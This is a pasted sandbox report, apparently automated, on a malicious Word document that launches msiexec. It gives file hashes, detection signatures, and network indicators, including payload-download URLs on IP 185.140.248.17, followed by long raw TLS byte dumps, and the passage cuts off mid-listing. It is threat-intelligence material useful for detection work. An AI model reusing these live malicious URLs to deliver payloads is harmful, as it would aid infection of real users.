API tools faq
paste
paladin316

Docs_5f3c9e99tBAD_doc.json

paladin316
Jun 17th, 2019
2,446
0
Never
Add comment
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 198.27 KB | None | 0 0
raw download clone embed print report
  1.  
  2. [*] MalFamily: ""
  3.  
  4. [*] MalScore: 10.0
  5.  
  6. [*] File Name: "Docs_5f3c9e99\tBAD.doc"
  7. [*] File Size: 100352
  8. [*] File Type: "Composite Document File V2 Document, Little Endian, Os: Windows, Version 6.1, Code page: 1251, Author: Microsoft Office, Template: Normal.dotm, Last Saved By: 1, Revision Number: 12, Name of Creating Application: Microsoft Office Word, Total Editing Time: 06:14:00, Create Time/Date: Tue Jun 11 06:15:00 2019, Last Saved Time/Date: Wed Jun 12 03:53:00 2019, Number of Pages: 1, Number of Words: 0, Number of Characters: 1, Security: 0"
  9. [*] SHA256: "0fe745b26efe3c4d82389d10c43e5755a30e1a794d920a807915313f049048eb"
  10. [*] MD5: "477e6a9efebdbf54f09d06ef8a29da79"
  11. [*] SHA1: "bc219e56929889acdf80cf692cd6b0d7a43b8207"
  12. [*] SHA512: "e209d8fa97c11208bd570035ba90469f9dce9ef1a6916f97ec5932aa836313ef838fb9ab65c87abde7dcc34948354a951a2a3937aa4f13945e24b6081ba7d6c2"
  13. [*] CRC32: "5F3C9E99"
  14. [*] SSDEEP: "3072:0I8JK3YDtbTUkFNzeTHYB/WXi/Y/Wfi/:0LFDtXlNzU"
  15.  
  16. [*] Process Execution: [
  17. "WINWORD.EXE",
  18. "msiexec.exe"
  19. ]
  20.  
  21. [*] Signatures Detected: [
  22. {
  23. "Description": "Attempts to connect to a dead IP:Port (6 unique times)",
  24. "Details": [
  25. {
  26. "IP": "52.109.20.1:443"
  27. },
  28. {
  29. "IP": "52.109.20.4:443"
  30. },
  31. {
  32. "IP": "104.85.240.25:443"
  33. },
  34. {
  35. "IP": "72.21.91.29:80"
  36. },
  37. {
  38. "IP": "104.18.25.243:80"
  39. },
  40. {
  41. "IP": "23.64.189.123:443"
  42. }
  43. ]
  44. },
  45. {
  46. "Description": "At least one IP Address, Domain, or File Name was found in a crypto call",
  47. "Details": [
  48. {
  49. "ioc": "pictureorgchart.glox"
  50. },
  51. {
  52. "ioc": "ontent.inf"
  53. },
  54. {
  55. "ioc": "ist.glox"
  56. },
  57. {
  58. "ioc": "rocess.glox"
  59. },
  60. {
  61. "ioc": "gostname.xsl"
  62. },
  63. {
  64. "ioc": "rame.glox"
  65. }
  66. ]
  67. },
  68. {
  69. "Description": "HTTP traffic contains suspicious features which may be indicative of malware related traffic",
  70. "Details": [
  71. {
  72. "get_no_useragent": "HTTP traffic contains a GET request with no user-agent header"
  73. },
  74. {
  75. "ip_hostname": "HTTP connection was made to an IP address rather than domain name"
  76. },
  77. {
  78. "suspicious_request": "http://185.140.248.17/ltm1"
  79. },
  80. {
  81. "suspicious_request": "http://185.140.248.17/01.dat"
  82. },
  83. {
  84. "suspicious_request": "http://ocsp.digicert.com/MFEwTzBNMEswSTAJBgUrDgMCGgUABBTfqhLjKLEJQZPin0KCzkdAQpVYowQUsT7DaQP4v0cB1JgmGggC72NkK8MCEAPxtOFfOoLxFJZ4s9fYR1w%3D"
  85. },
  86. {
  87. "suspicious_request": "http://ocsp.digicert.com/MFEwTzBNMEswSTAJBgUrDgMCGgUABBSPwl%2BrBFlJbvzLXU1bGW08VysJ2wQUj%2Bh%2B8G0yagAFI8dwl2o6kP9r6tQCEA%2BdzSc7B3UzA8k03selSwo%3D"
  88. },
  89. {
  90. "suspicious_request": "http://ocsp.digicert.com/MFEwTzBNMEswSTAJBgUrDgMCGgUABBSPwl%2BrBFlJbvzLXU1bGW08VysJ2wQUj%2Bh%2B8G0yagAFI8dwl2o6kP9r6tQCEAaJg2QslT5G973OQUPxM8E%3D"
  91. },
  92. {
  93. "suspicious_request": "http://ocsp.digicert.com/MFEwTzBNMEswSTAJBgUrDgMCGgUABBSnR4FoxLLkI7vkvsUIFlZt%2BlGH3gQUWsS5eyoKo6XqcQPAYPkt9mV1DlgCEAM%2B1e2gZdG4yR38%2BSpsm9g%3D"
  94. },
  95. {
  96. "suspicious_request": "http://ocsp.digicert.com/MFEwTzBNMEswSTAJBgUrDgMCGgUABBTBL0V27RVZ7LBduom%2FnYB45SPUEwQU5Z1ZMIJHWMys%2BghUNoZ7OrUETfACEA8sEMlbBsCTf7jUSfg%2BhWk%3D"
  97. }
  98. ]
  99. },
  100. {
  101. "Description": "Performs some HTTP requests",
  102. "Details": [
  103. {
  104. "url": "http://ocsp.digicert.com/MFEwTzBNMEswSTAJBgUrDgMCGgUABBTBL0V27RVZ7LBduom%2FnYB45SPUEwQU5Z1ZMIJHWMys%2BghUNoZ7OrUETfACEAi4elAbvpzaLRZNPjlRv1U%3D"
  105. },
  106. {
  107. "url": "http://crl3.digicert.com/Omniroot2025.crl"
  108. },
  109. {
  110. "url": "http://ocsp.msocsp.com/MFQwUjBQME4wTDAJBgUrDgMCGgUABBRPC1vZt9qvn7bzY3Iidtbhla4mKQQUWIif1tycSCK3FD7%2FhIjo5oX%2F%2Bn0CE3sAAGyvV14%2FmEPDgh0AAAAAbK8%3D"
  111. },
  112. {
  113. "url": "http://185.140.248.17/ltm1"
  114. },
  115. {
  116. "url": "http://185.140.248.17/01.dat"
  117. },
  118. {
  119. "url": "http://ocsp.digicert.com/MFEwTzBNMEswSTAJBgUrDgMCGgUABBTfqhLjKLEJQZPin0KCzkdAQpVYowQUsT7DaQP4v0cB1JgmGggC72NkK8MCEAPxtOFfOoLxFJZ4s9fYR1w%3D"
  120. },
  121. {
  122. "url": "http://ocsp.digicert.com/MFEwTzBNMEswSTAJBgUrDgMCGgUABBSPwl%2BrBFlJbvzLXU1bGW08VysJ2wQUj%2Bh%2B8G0yagAFI8dwl2o6kP9r6tQCEA%2BdzSc7B3UzA8k03selSwo%3D"
  123. },
  124. {
  125. "url": "http://ocsp.digicert.com/MFEwTzBNMEswSTAJBgUrDgMCGgUABBSPwl%2BrBFlJbvzLXU1bGW08VysJ2wQUj%2Bh%2B8G0yagAFI8dwl2o6kP9r6tQCEAaJg2QslT5G973OQUPxM8E%3D"
  126. },
  127. {
  128. "url": "http://ocsp.digicert.com/MFEwTzBNMEswSTAJBgUrDgMCGgUABBSnR4FoxLLkI7vkvsUIFlZt%2BlGH3gQUWsS5eyoKo6XqcQPAYPkt9mV1DlgCEAM%2B1e2gZdG4yR38%2BSpsm9g%3D"
  129. },
  130. {
  131. "url": "http://ocsp.digicert.com/MFEwTzBNMEswSTAJBgUrDgMCGgUABBTBL0V27RVZ7LBduom%2FnYB45SPUEwQU5Z1ZMIJHWMys%2BghUNoZ7OrUETfACEA8sEMlbBsCTf7jUSfg%2BhWk%3D"
  132. }
  133. ]
  134. },
  135. {
  136. "Description": "The office file has a unconventional code page: ANSI Cyrillic; Cyrillic (Windows)",
  137. "Details": []
  138. },
  139. {
  140. "Description": "A document file initiated network communications indicative of a potential exploit or payload download",
  141. "Details": [
  142. {
  143. "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00~\\x01\\x00\\x00z\\x03\\x01]\\x03\\x00\\xe0\\xb7\\x1b\\x066\\xe1\\xa0\\x88\\x07\\xf5\\x9e\\xf1\\xcds\\x8af\\xed\\x055\\x16\\xfe8\\x91\\x8c>\\xe6k\\xb0\\x17\\x00\\x00\\x18\\x00/\\x005\\x00\\x05\\x00\n\\xc0\\x13\\xc0\\x14\\xc0\t\\xc0\n\\x002\\x008\\x00\\x13\\x00\\x04\\x01\\x00\\x009\\xff\\x01\\x00\\x01\\x00\\x00\\x00\\x00 \\x00\\x1e\\x00\\x00\\x1broaming.officeapps.live.com\\x00\n\\x00\\x06\\x00\\x04\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00"
  144. },
  145. {
  146. "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00f\\x10\\x00\\x00ba\\x04\\xd9h\\xdd\\x18\\x84{\\xc4.lhw\\xcf\\x9a\\x12\\xeeic\\xfb\r\\x0f\\xa3\\xd3\\xefkm\\xaa*\\xdd73(\\xb6\\xcd\\x99\\xd1\\xd1\\x1e\\s\\xc1\\?\\xacn\\xeb\\x9b\\x9dn\\xc0\\x0f\\x14\\x90\\x0f\\xd1\\xa3\\x99>\\xd66w\\x9fn\\xc7\\xfc\\x14\\x03\\x01\\x00\\x01\\x01\\x16\\x03\\x01\\x000h\\xee\\xcc)\\x0e\\x83o\\xbb\\xa8\\xef`yc.\\xcf\\x17~\\xa6\\xb4\\x8e\\xcbm\\x8a\\xbex>@\\x96mot\\xc0\\xcb4\\xc23\\x06\\xa0&\\x8b\\x06\\x07\\xf7\\x17+\\x1e\\x07\\x88"
  147. },
  148. {
  149. "http_request": "winword.exe_WSASend_get /mfewtzbnmeswstajbgurdgmcgguabbtbl0v27rvz7lbduom%2fnyb45spuewqu5z1zmijhwmys%2bghunoz7oruetfaceai4elabvpzalrznpjlrv1u%3d http/1.1\r\nconnection: keep-alive\r\naccept: */*\r\nuser-agent: microsoft-cryptoapi/6.1\r\nhost: ocsp.digicert.com\r\n\r\n"
  150. },
  151. {
  152. "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00z\\x01\\x00\\x00v\\x03\\x01]\\x03\\x00\\xe0?\\x81m\\x7f\\xe2\\xec\\xb2\\xca]\\x83\\x89\\xe6\\x83\\xc6\\xc0{\\xd2\\x06\\x0c\\xdf\\x80rbb\\xc732j\\x00\\x00\\x18\\x00/\\x005\\x00\\x05\\x00\n\\xc0\\x13\\xc0\\x14\\xc0\t\\xc0\n\\x002\\x008\\x00\\x13\\x00\\x04\\x01\\x00\\x005\\xff\\x01\\x00\\x01\\x00\\x00\\x00\\x00\\x1c\\x00\\x1a\\x00\\x00\\x17odc.officeapps.live.com\\x00\n\\x00\\x06\\x00\\x04\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00"
  153. },
  154. {
  155. "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00f\\x10\\x00\\x00ba\\x04\\xe0)\\x00\\x04\\xa9\\xa1\\xf6\\x04\\x92\\x0f\\xca\\xd7\\xbf\\x14d\\xda7\\xdd\\xca?n,9\\xd4\\xf6\\xf1\\x08=h\\xb2j\\x90\\xe8\\xc4\\xf0\\xb9\\x0b^\\x198:\\x9a\\xf3p\\xc1\\xff\\xc1\\xb9\\xa7j\\xab\\xc3\\xd4e\\xabh\\xa4xo\\x13#2\\xb7\\xce\\x14\\x03\\x01\\x00\\x01\\x01\\x16\\x03\\x01\\x000\\xe2s\\xd8\\xf9d\\x00\\xac#v\\xdcuw\\xd7\r\\x95\\xcbz}lsb\\xbc\\x08}&\\x93\\xf36\\xd4\\xcc\\x023\\x0e\\xe7s\\xd3\\xcb\\x1b\\x8d\\xa8\\xf7\\x89\\x12\\xe5w`\\xc1v"
  156. },
  157. {
  158. "http_request": "winword.exe_WSASend_\\x17\\x03\\x01\\x01p\\xe6\\x18\\x9c\\x15\\x191\\xac\\x83\\x14\\x10b\\x83c\\xe5\\xf4\\xc6q]\\x10\\x01nx\\xe7>f\\x156y}\\xbc\\xcbgxx\\xc4\\x00\\x9b\\x8a@o\\xd7.\\xca'\\x1d\\x12\\xa3\n\\x8c\\x86:\\xc2\\xc6\\x9d\\xce\\x1f\\x02\\xff5.r\\xfb\\xd4r\\x9es\\xe3\\x94&\\x13w\\x06\\xe3\\xea\n\\xa5\\x8a\\x12\\x13\\xcb\\xb4d4{<\\x95\\xaa\\x9a\\xc7)\\xcb\\x8e\"1\\x90\\xae\\xff\\x96\\xe3\"p\rv_q6\\xb3on\\xf3\\xee\\x1f\\xb9\\x1c\\xc0,\\x840h\\xef\\x84u\\x04\\xb5\\xb0hq\\x87\\xa8\\xb2`\\x16-\\xd6\\xed\\x8cg}\\xe0\\xd4e\\xf4\\xa9\\xd3l-\\x13\\xa9\\xaf\\x94*\\xb5\\x01\\xed#i\\x11\\xd9\r\\xfc\\xf7\\xff\\xa5\\xdb\\xbb\\x18ty\\x9d\\xac\\x7fg\\xb5\\xfcc{n\\x1dct\\xa6\\x00y\\xd4o\\x88gu\t*\\x1c\\xfe\\x83\\xa8\\xf9\\x0f\\x1c\\xcb\\x91(u3\\x11<v\\xa0\\xd9\\xe3h\\xe1\\x81\\xa2\\x07\\xc9\\x9ey\\xe3\\xa5h\\x00}_\\xec\\x1c\\x9afwn\\xba]\\xeb\\xf7\\xc2\\xba\\xc2{\\x93(\\xaf;\\xda\\xe5\\xdd\\x80\\xac\\xb1\\xb5\\xdd\\x12;\\xe0"
  159. },
  160. {
  161. "http_request": "winword.exe_WSASend_get /omniroot2025.crl http/1.1\r\nconnection: keep-alive\r\naccept: */*\r\nuser-agent: microsoft-cryptoapi/6.1\r\nhost: crl3.digicert.com\r\n\r\n"
  162. },
  163. {
  164. "http_request": "winword.exe_WSASend_get /mfqwujbqme4wtdajbgurdgmcgguabbrpc1vzt9qvn7bzy3iidtbhla4mkqquwiif1tycsck3fd7%2fhijo5ox%2f%2bn0ce3saagyvv14%2fmepdgh0aaaaabk8%3d http/1.1\r\nconnection: keep-alive\r\naccept: */*\r\nif-modified-since: sat, 23 mar 2019 17:46:18 gmt\r\nif-none-match: \"dd54d75d468"
  165. },
  166. {
  167. "http_request": "winword.exe_WSASend_\\x17\\x03\\x01\\x01p?\\x82\\x97m\\xca\\xc5[]8\\x93\\xd6\\xb4\\xfb1=\\xc6\\xc22z+/\\xe5\\xdf\\x85\\xfa\\xea\\x1e3\\xfc\\x05+\\xa1\\xc5\\xf6=\\xbc\\x95ym\\x05\\xfc!\\x9e\\xd6\\x8d|\\xaak>&\\xe9/\\xce\\xd5\\x10\\x1f\\xe3\\xe6kw\\xf1@\\x07\\xa2\\x87|i\\xdd\\xdeb\\x04\\x1dw.+\\xa3\\x8f\\x82\\xda\\xdc\\x96\\xfa\\xfa\\xf4c\\x9c\\x16\\xeeu\\xc1c\\xd6\\xd5\\xa4\\x17\\x84\\xd6(g\\xc3eg6\\x11|\\x987\tr\\xb6\\xe5e\\x02\\x003\\xd9\\xf0od\\x98z\\xef\\xbdlb\\xcb\\xf4\\xdbn\\x90\\x002e\\xe3\\xe3\\x0b\\xf5\\x86\\x10\\x82\\x94.k~\\x03\\x9b \\xc9\\x9c`\\xe0\\xda\\x04\\xa5\\x04c\\x14\\xc3\\xe3b\\x04tf\\x971\\x95x\\xdf|j\\x0f4tp\\xa7|\\xf3\\xb0\\xa7\\x0e|\\x81\\xdfs\\xf6;\\x951z\\x159\ry\\xf9\r\\x80)\\xa0\\x81\\x89\\xf8\\xb4\\x873\\x9c\\x1f\\xabf7\\xc0\\xf5\\xe9's\\x042\\xc3\\x98vb\\x88\\xd1\\xf5o\\xc9\\xe1\r\\xa1yn\\xdb\\x16\\xbf\\xa5d\\xd0\\x8dp,\\xe6#\n\\x97zr\\xd3\\x0f@ni\\xb1"
  168. },
  169. {
  170. "http_request": "winword.exe_WSASend_\\x17\\x03\\x01\\x02 y)+\\xe97\\xd3l\\x94\\xe1\\xae\\x19,\\xfc\\x11l\\x9e\\xd1\\x84;~.\\x11\\x00[\\xcf\\xd5\t\\xa40k[\\x11\\x86\\x16\\xa2=\\x8b\\x80co\\x94iip\\xcb\\x05\\xe6j\\x1b,\\xc7\\x19\\xf0\\x06\\xeaw\\xee\\xc9\\x9f\\x00c:t\\x98_r\\x90\\xcbbxu\\xec\\xa9\\x17\\x95\\x9e\\xc3\\x03\\xee\\x9d\\x92\\x1f)`\\xa1\\x08v\\x82:\n\\x1d\\x0e1\\xf8p\\xdcp\\x1f6.\\x9cb\\x15\\x02\\xfee+w\\xd0\\xde\\x1f\\xf4\\xce#-\\xb6\\xa4<c\\x13[\\xb4m6\\x9dv]\\xfc\\xdc#f+\\xef$w\\xc5\\xbcp\\x0f\\x1f.d\\xf6\\xe6)6|\\xa2\\x95 $fkw\\xf6\\x14\\x89\\x18\\xe7i\\xdfc%\\xf8<\\x14'\\xfevy\\xcdg\\xe8\\xbc\\xe4.\\xbb\\xddu\\x91\\x13\\xde$q\\x7f_nc\\xaa4\\xb4\\xf7\\x98\\x11\\x83+\\x98k\\x8eq\\x98\\x12\\xd1\\xb0\\xa6$\\xfb\\x03\\xbb\\x13\\xa0*\\x0b\\xbb\\xdf;\\x18`\\xb7x\\x1f\\xb8\\xa9\\xb4\\\\xa5z\\xd1bxs\\xa4\\x93+\\xe3\\xe8\\x1a\\x0b\\x15\\xc6\\x9bq\\xad\\xeb\\xb4\\xbf\\x82\\x05\\x13\\xc0\\xc3"
  171. },
  172. {
  173. "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00}\\x01\\x00\\x00y\\x03\\x01]\\x03\\x01%u\\xaa\\xf3\\xdcs5\\x05g\\xcds\\x8dp6 \\xbf_l\\xa3s{\\x991\\x07\\xcb\\x10%\\xedx\\x00\\x00\\x18\\x00/\\x005\\x00\\x05\\x00\n\\xc0\\x13\\xc0\\x14\\xc0\t\\xc0\n\\x002\\x008\\x00\\x13\\x00\\x04\\x01\\x00\\x008\\xff\\x01\\x00\\x01\\x00\\x00\\x00\\x00\\x1f\\x00\\x1d\\x00\\x00\\x1atemplateservice.office.com\\x00\n\\x00\\x06\\x00\\x04\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00"
  174. },
  175. {
  176. "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00f\\x10\\x00\\x00ba\\x04\\xbc\\xa4z\\xb46\\xf0\\x13x\\x98 \\xdc_\\xce4\\x9e\\xcfj\\x84\\x80\\xcd\\x87\\xc1\\xe8*\\xe2\\x95\\x03\\xc3\\xf7\\x1d\\x13\\x97\\x117 \\xd9k\\xac\\xab\\xa0\\xbb*\\xdf:\\xcc\\xbdi\\xd0\\x08\\x03\\xa9?\\xc7\\xe1\\xbd\\\\xed \\x8d\\xca5\\xd43\\xae\\x14\\x03\\x01\\x00\\x01\\x01\\x16\\x03\\x01\\x000p\\xf6v\\xe1x%bi\\x00\\x9b/\\x1b\\xc49 \\xad\\x11\\xf0n\\x8e\\xa8\\x05\\x0c\\x95\\xb1\\x84\\x1b\\xfa\\xb6\\xacj\\xe1[\\xc0\\x15\\xc5\\xe4\\xdb\\xef@\\xd5\\x89\\xb7\\xf5$'m\\xd1"
  177. },
  178. {
  179. "http_request": "winword.exe_WSASend_\\x17\\x03\\x01\\x01pj\\x9f/qp\\xf8\\xd8v\\xeb*\\xc2\\xdf\\x1ab\\xd7v\\x18\\xec\\x08\\xb2\"9\\x00;\\xa6z\\x01\\xafg\\xc11w\\xfd|8\\xeaiy\\xb1\\x1fr*\\xfc\\x10rzz\\xc9s\\x97\\x0f0\\x1ae\\xb5%9\\xa8\\xfc\\xb5\\xd4\\x14\\xbe\\x17\\xe0\\x95\\xc8\\x07p\\xfd\\xca,\\xf9\\x8bf%\\xa6\\xf3j\\x8b\\x01\\xdd\\x95\\x8a'?y9%\\xcc\\xc5ej\\x85\\xb69\\xc0~a*\\xd6\\x8d,\\x9d\\x97t\\xc4n\\xaa\\xf7\\xb3\\x9ceb\\xd9\\xe0_\\x8a\\x96\\x95\\x95:\\xf2\\xf7\\x81b\\xee\\xed\ns\\xb7\\x1d\\x99\\xe3\\x82\\x97\\xd4-+\\xf9e\\x18.~t\\xc0={\\xc0\\xdb\\x11\\x88s9ae\\x81\\x9d\"\\x0e*7\\x81\\xea\\x89\\xdch\\xf1t\\xfd\\x15\\xc0\\xd2\\xcfe\\x87\\xbc\\x8aj\\x9e\\xe8gr\\xe5-\\x93\\x0e\\x17\\xe6l\\xd1\\x00\\xden\\xd4\\xc1 .\\x89\t%*\\xb6\\x97\\x1a\\xb2\\xd1\\xd6\\xa1\\x91\\xa4j\\x8b\\x85\\x17\\x84\\xd4\\xbb\\xa4ex\\xfa\\xdcj\\x16\\xaaw\\x9df\\x9dbs\\xf1v\\xf0\\x82\\xb1;\\x1f\\xd1\\xe2\\xf4\\x98\\x0c\\xfe\\xacc\r\\xce\\x083"
  180. },
  181. {
  182. "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00\\x83\\x01\\x00\\x00\\x7f\\x03\\x01]\\x03\\x01%m\\xae\\xc6/\\xf159\\x16cn\\x89\\xde\\xae\\x1b\\xf4ai\\x92dl\\x90\\xad\\xd4\\xb7\\x98xe\\xb2\\x00\\x00\\x18\\x00/\\x005\\x00\\x05\\x00\n\\xc0\\x13\\xc0\\x14\\xc0\t\\xc0\n\\x002\\x008\\x00\\x13\\x00\\x04\\x01\\x00\\x00>\\xff\\x01\\x00\\x01\\x00\\x00\\x00\\x00%\\x00#\\x00\\x00 omextemplates.content.office.net\\x00\n\\x00\\x06\\x00\\x04\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00"
  183. },
  184. {
  185. "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00\\x83\\x01\\x00\\x00\\x7f\\x03\\x01]\\x03\\x01%\\xe9_sve#\tu\\xb6y\\xcd!\\x85zi\\xea,\\x83\r\\xc5\\xbd\\xc03\\x0f\\xfaf\\xd0\\x10\\x00\\x00\\x18\\x00/\\x005\\x00\\x05\\x00\n\\xc0\\x13\\xc0\\x14\\xc0\t\\xc0\n\\x002\\x008\\x00\\x13\\x00\\x04\\x01\\x00\\x00>\\xff\\x01\\x00\\x01\\x00\\x00\\x00\\x00%\\x00#\\x00\\x00 omextemplates.content.office.net\\x00\n\\x00\\x06\\x00\\x04\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00"
  186. },
  187. {
  188. "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00\\x83\\x01\\x00\\x00\\x7f\\x03\\x01]\\x03\\x01%\\xea\\xc7f\\xc5\\x1d\\x7fd3\\xa7q\\xa0\\x81\\x0f\\x84\\x07\\xe9\\xed\\x80l\\x87\\x05\\x8a\\x07 \\xf7\\x1d\\xfe\\xfc\\x00\\x00\\x18\\x00/\\x005\\x00\\x05\\x00\n\\xc0\\x13\\xc0\\x14\\xc0\t\\xc0\n\\x002\\x008\\x00\\x13\\x00\\x04\\x01\\x00\\x00>\\xff\\x01\\x00\\x01\\x00\\x00\\x00\\x00%\\x00#\\x00\\x00 omextemplates.content.office.net\\x00\n\\x00\\x06\\x00\\x04\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00"
  189. },
  190. {
  191. "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00\\x83\\x01\\x00\\x00\\x7f\\x03\\x01]\\x03\\x01%cw\\xfb\\x15\\xb8r&\\x8e\\x9am\\xb5l3k\\x86\\x8c!\\xe6\\xa0\\6j\\xb98\\x99\\xd3\\x8c\\xda\\x00\\x00\\x18\\x00/\\x005\\x00\\x05\\x00\n\\xc0\\x13\\xc0\\x14\\xc0\t\\xc0\n\\x002\\x008\\x00\\x13\\x00\\x04\\x01\\x00\\x00>\\xff\\x01\\x00\\x01\\x00\\x00\\x00\\x00%\\x00#\\x00\\x00 omextemplates.content.office.net\\x00\n\\x00\\x06\\x00\\x04\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00"
  192. },
  193. {
  194. "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00\\x83\\x01\\x00\\x00\\x7f\\x03\\x01]\\x03\\x01%\\xc0>\\xbdqgk_\\xb27\\xe2dc4mhy_-\\xdc\\xba\\xd7\\xb5\\xfd\\xc7\\x10\\x96\\xf1j\\x00\\x00\\x18\\x00/\\x005\\x00\\x05\\x00\n\\xc0\\x13\\xc0\\x14\\xc0\t\\xc0\n\\x002\\x008\\x00\\x13\\x00\\x04\\x01\\x00\\x00>\\xff\\x01\\x00\\x01\\x00\\x00\\x00\\x00%\\x00#\\x00\\x00 omextemplates.content.office.net\\x00\n\\x00\\x06\\x00\\x04\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00"
  195. },
  196. {
  197. "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00\\x83\\x01\\x00\\x00\\x7f\\x03\\x01]\\x03\\x01%d\\xc3\\x93v\\x95\\xfa\\xea\\x06\\xc4;\\xc8\\xe1\\x00\\xffz\\x87bvd%n5\\x12b#\\xfe\\xc1\\x97\\x00\\x00\\x18\\x00/\\x005\\x00\\x05\\x00\n\\xc0\\x13\\xc0\\x14\\xc0\t\\xc0\n\\x002\\x008\\x00\\x13\\x00\\x04\\x01\\x00\\x00>\\xff\\x01\\x00\\x01\\x00\\x00\\x00\\x00%\\x00#\\x00\\x00 omextemplates.content.office.net\\x00\n\\x00\\x06\\x00\\x04\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00"
  198. },
  199. {
  200. "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00\\x83\\x01\\x00\\x00\\x7f\\x03\\x01]\\x03\\x01%\\xb6y\\xd7\\x98\\xb9\\xec\\x98i\\x00\\x16[\\x9e\\x99is\\xcd\\xc7\\xccq\\x8e\\x12\\x1e\\x84\\xfc\\xfa?&\\xa5\\x00\\x00\\x18\\x00/\\x005\\x00\\x05\\x00\n\\xc0\\x13\\xc0\\x14\\xc0\t\\xc0\n\\x002\\x008\\x00\\x13\\x00\\x04\\x01\\x00\\x00>\\xff\\x01\\x00\\x01\\x00\\x00\\x00\\x00%\\x00#\\x00\\x00 omextemplates.content.office.net\\x00\n\\x00\\x06\\x00\\x04\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00"
  201. },
  202. {
  203. "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00\\x83\\x01\\x00\\x00\\x7f\\x03\\x01]\\x03\\x01%\\xd8\\x80?\\xadwc=z\\xb9%0\\xec\\x9f\\xb8\\xf2\\xa2\\xcf\\xa4\\x1a@h\\xfe\\xcat\\xc4ep\\xd5\\x00\\x00\\x18\\x00/\\x005\\x00\\x05\\x00\n\\xc0\\x13\\xc0\\x14\\xc0\t\\xc0\n\\x002\\x008\\x00\\x13\\x00\\x04\\x01\\x00\\x00>\\xff\\x01\\x00\\x01\\x00\\x00\\x00\\x00%\\x00#\\x00\\x00 omextemplates.content.office.net\\x00\n\\x00\\x06\\x00\\x04\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00"
  204. },
  205. {
  206. "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00\\x83\\x01\\x00\\x00\\x7f\\x03\\x01]\\x03\\x01%\\xff\\x0fr\\xb7|$x\\x98\\xd6\\xba3\\xd6\\xbf\\x18\\x94\\xcau\\xef\\x89!\\xd8\\x7fm?m'~1\\x00\\x00\\x18\\x00/\\x005\\x00\\x05\\x00\n\\xc0\\x13\\xc0\\x14\\xc0\t\\xc0\n\\x002\\x008\\x00\\x13\\x00\\x04\\x01\\x00\\x00>\\xff\\x01\\x00\\x01\\x00\\x00\\x00\\x00%\\x00#\\x00\\x00 omextemplates.content.office.net\\x00\n\\x00\\x06\\x00\\x04\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00"
  207. },
  208. {
  209. "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00\\x83\\x01\\x00\\x00\\x7f\\x03\\x01]\\x03\\x01%:\\xed\\xcf\\xa3\\xc5 s\\x89\\xfbu\\xe11\\x86\\xb3\\xf5;\\xfa\\xa4\\xd5\\xeb\\xb5.[`:3\\xbf\\x1c\\x00\\x00\\x18\\x00/\\x005\\x00\\x05\\x00\n\\xc0\\x13\\xc0\\x14\\xc0\t\\xc0\n\\x002\\x008\\x00\\x13\\x00\\x04\\x01\\x00\\x00>\\xff\\x01\\x00\\x01\\x00\\x00\\x00\\x00%\\x00#\\x00\\x00 omextemplates.content.office.net\\x00\n\\x00\\x06\\x00\\x04\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00"
  210. },
  211. {
  212. "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00\\x83\\x01\\x00\\x00\\x7f\\x03\\x01]\\x03\\x01%\\x000p\\xa5\\x8fg\\xec5\\xb5z^'c\\xef;\\x9eg\\x9d\\xba\\xf3\\xf7\\xa4;\\xc1\\xba\\xb3\\x04c\\x00\\x00\\x18\\x00/\\x005\\x00\\x05\\x00\n\\xc0\\x13\\xc0\\x14\\xc0\t\\xc0\n\\x002\\x008\\x00\\x13\\x00\\x04\\x01\\x00\\x00>\\xff\\x01\\x00\\x01\\x00\\x00\\x00\\x00%\\x00#\\x00\\x00 omextemplates.content.office.net\\x00\n\\x00\\x06\\x00\\x04\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00"
  213. },
  214. {
  215. "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00\\x83\\x01\\x00\\x00\\x7f\\x03\\x01]\\x03\\x01%\\xf7\\xe8n\\xd6f(=\\xa51i%8p\\xde8\\xf2\\x17\\xea\\xd3\\x881\\xd0[m\\xb0j\\x91\\xf9\\x00\\x00\\x18\\x00/\\x005\\x00\\x05\\x00\n\\xc0\\x13\\xc0\\x14\\xc0\t\\xc0\n\\x002\\x008\\x00\\x13\\x00\\x04\\x01\\x00\\x00>\\xff\\x01\\x00\\x01\\x00\\x00\\x00\\x00%\\x00#\\x00\\x00 omextemplates.content.office.net\\x00\n\\x00\\x06\\x00\\x04\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00"
  216. },
  217. {
